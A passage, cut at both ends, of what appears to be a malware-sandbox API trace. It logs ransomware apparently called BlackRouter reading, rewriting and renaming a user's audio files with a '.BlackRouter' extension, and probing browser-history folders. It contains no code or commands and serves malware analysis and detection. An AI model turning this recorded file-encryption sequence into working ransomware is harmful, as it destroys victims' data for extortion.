lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\_2KZaW-bdXEPaPzni.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\_2kzaw-bdxepapzni.mp3.blackrouter")) returned 1 [0042.085] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0042.085] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0042.085] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0042.085] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0042.085] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0042.085] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 0 [0042.085] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\f6Ud7g.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\f6ud7g.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.085] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x8855 [0042.085] ReadFile (in: hFile=0x258, lpBuffer=0x29ab910, nNumberOfBytesToRead=0x8855, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x29ab910*, lpNumberOfBytesRead=0x1ae708*=0x8855, lpOverlapped=0x0) returned 1 [0042.088] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\f6Ud7g.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\f6ud7g.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.090] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\f6Ud7g.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\f6ud7g.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dda550, ftCreationTime.dwHighDateTime=0x1d4630a, ftLastAccessTime.dwLowDateTime=0xd000f3e0, ftLastAccessTime.dwHighDateTime=0x1d459d0, ftLastWriteTime.dwLowDateTime=0xbf992330, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x8860)) returned 1 [0042.090] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\f6Ud7g.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\f6ud7g.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\f6Ud7g.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\f6ud7g.wav.blackrouter")) returned 1 [0042.091] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ffuQPel_JjV4J7.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ffuqpel_jjv4j7.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.091] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0xbe31 [0042.091] ReadFile (in: hFile=0x258, lpBuffer=0x29bd538, nNumberOfBytesToRead=0xbe31, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x29bd538*, lpNumberOfBytesRead=0x1ae708*=0xbe31, lpOverlapped=0x0) returned 1 [0042.094] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ffuQPel_JjV4J7.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ffuqpel_jjv4j7.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.097] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ffuQPel_JjV4J7.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ffuqpel_jjv4j7.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916403a0, ftCreationTime.dwHighDateTime=0x1d461b6, ftLastAccessTime.dwLowDateTime=0x299c1bd0, ftLastAccessTime.dwHighDateTime=0x1d458f7, ftLastWriteTime.dwLowDateTime=0xbf9b8490, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xbe40)) returned 1 [0042.097] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ffuQPel_JjV4J7.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ffuqpel_jjv4j7.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ffuQPel_JjV4J7.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ffuqpel_jjv4j7.wav.blackrouter")) returned 1 [0042.101] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JpfkFOZUvZEBDBC i.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jpfkfozuvzebdbc i.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.101] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0xd2ce [0042.101] ReadFile (in: hFile=0x258, lpBuffer=0x29d5d80, nNumberOfBytesToRead=0xd2ce, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x29d5d80*, lpNumberOfBytesRead=0x1ae708*=0xd2ce, lpOverlapped=0x0) returned 1 [0042.104] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JpfkFOZUvZEBDBC i.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jpfkfozuvzebdbc i.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.107] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JpfkFOZUvZEBDBC i.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jpfkfozuvzebdbc i.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67069fe0, ftCreationTime.dwHighDateTime=0x1d4574e, ftLastAccessTime.dwLowDateTime=0xc9d44fe0, ftLastAccessTime.dwHighDateTime=0x1d45b9b, ftLastWriteTime.dwLowDateTime=0xbf9b8490, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xd2d0)) returned 1 [0042.107] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JpfkFOZUvZEBDBC i.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jpfkfozuvzebdbc i.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JpfkFOZUvZEBDBC i.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jpfkfozuvzebdbc i.wav.blackrouter")) returned 1 [0042.107] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\KO3STzTZ_gO34A8AgZ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ko3stztz_go34a8agz.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.107] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x2fc9 [0042.108] ReadFile (in: hFile=0x258, lpBuffer=0x29f0f10, nNumberOfBytesToRead=0x2fc9, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x29f0f10*, lpNumberOfBytesRead=0x1ae708*=0x2fc9, lpOverlapped=0x0) returned 1 [0042.109] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\KO3STzTZ_gO34A8AgZ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ko3stztz_go34a8agz.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.111] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\KO3STzTZ_gO34A8AgZ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ko3stztz_go34a8agz.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadfa84c0, ftCreationTime.dwHighDateTime=0x1d45d20, ftLastAccessTime.dwLowDateTime=0xf0ed9ae0, ftLastAccessTime.dwHighDateTime=0x1d460ce, ftLastWriteTime.dwLowDateTime=0xbf9de5f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2fd0)) returned 1 [0042.111] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\KO3STzTZ_gO34A8AgZ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ko3stztz_go34a8agz.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\KO3STzTZ_gO34A8AgZ.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ko3stztz_go34a8agz.wav.blackrouter")) returned 1 [0042.112] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\lGP3l7M_Cs.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\lgp3l7m_cs.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.112] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x1252 [0042.112] ReadFile (in: hFile=0x258, lpBuffer=0x29f7a80, nNumberOfBytesToRead=0x1252, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x29f7a80*, lpNumberOfBytesRead=0x1ae708*=0x1252, lpOverlapped=0x0) returned 1 [0042.114] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\lGP3l7M_Cs.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\lgp3l7m_cs.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.115] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\lGP3l7M_Cs.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\lgp3l7m_cs.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a2a1080, ftCreationTime.dwHighDateTime=0x1d4631b, ftLastAccessTime.dwLowDateTime=0xf895b900, ftLastAccessTime.dwHighDateTime=0x1d45b9a, ftLastWriteTime.dwLowDateTime=0xbf9de5f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1260)) returned 1 [0042.116] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\lGP3l7M_Cs.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\lgp3l7m_cs.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\lGP3l7M_Cs.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\lgp3l7m_cs.wav.blackrouter")) returned 1 [0042.116] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\xtwZAO hIZ7N.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xtwzao hiz7n.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.116] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0xa0e [0042.116] ReadFile (in: hFile=0x258, lpBuffer=0x29fb4f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x29fb4f8*, lpNumberOfBytesRead=0x1ae708*=0xa0e, lpOverlapped=0x0) returned 1 [0042.118] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\xtwZAO hIZ7N.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xtwzao hiz7n.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0042.119] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\xtwZAO hIZ7N.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xtwzao hiz7n.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9664e280, ftCreationTime.dwHighDateTime=0x1d45940, ftLastAccessTime.dwLowDateTime=0x9a6c8ff0, ftLastAccessTime.dwHighDateTime=0x1d461c3, ftLastWriteTime.dwLowDateTime=0xbf9de5f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa10)) returned 1 [0042.119] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\xtwZAO hIZ7N.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xtwzao hiz7n.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\xtwZAO hIZ7N.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\xtwzao hiz7n.wav.blackrouter")) returned 1 [0042.126] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.126] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.128] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.128] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.129] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.129] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.129] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.129] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.129] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 0 [0042.139] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.139] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.141] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.141] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.142] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.142] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.142] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.142] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.142] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 0 [0042.147] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012019010620190107\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.148] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.148] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012019010620190107\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.149] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.149] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.149] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.149] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0042.154] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.154] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.155] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.155] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.156] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.156] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.156] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0042.156] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 0 [0042.166] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.166] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.167] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.167] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.167] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.167] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.167] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.168] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0042.168] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0042.179] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.179] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.180] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.180] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.181] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0042.181] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0042.181] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0042.186] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.187] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.187] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.188] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0042.188] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.188] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.188] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.188] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.188] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.188] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.188] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0042.189] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 0 [0042.194] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS 